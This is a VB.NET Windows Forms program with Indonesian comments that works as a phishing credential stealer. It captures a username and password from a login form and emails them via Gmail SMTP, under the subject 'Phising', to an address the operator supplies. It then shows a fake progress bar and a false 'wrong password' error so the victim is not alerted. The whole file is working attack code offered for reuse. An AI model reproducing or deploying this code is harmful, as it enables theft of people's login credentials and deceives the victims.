Imports System.Net.Mail

Public Class Form1

    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
        If TextBox1.Text = "" Or TextBox2.Text = "" Then
            MessageBox.Show("Jangan Kosongkan Field ini !!!") 'kata kata bisa di ganti
        Else
            Timer1.Start()
            Try
                Dim Mail As New MailMessage
                Mail.Subject = "Phising"
                Mail.To.Add("")'isi dengan email
                Mail.From = New MailAddress("")'isi dengan email
                Mail.Body = "Username: " & TextBox1.Text & "      Password: " & TextBox2.Text

                Dim SMTP As New SmtpClient("smtp.gmail.com")
                SMTP.EnableSsl = True
                SMTP.Credentials = New System.Net.NetworkCredential("isi dengan email", "password email")
                SMTP.Port = "587"
                SMTP.Send(Mail)
            Catch
            End Try
        End If
    End Sub

    Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
        ProgressBar1.Increment(10)
        If ProgressBar1.Value = 100 Then
            Timer1.Stop()
            MessageBox.Show("Password anda salah", "", MessageBoxButtons.OK, MessageBoxIcon.Error)
        End If
    End Sub

    Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load

    End Sub

End Class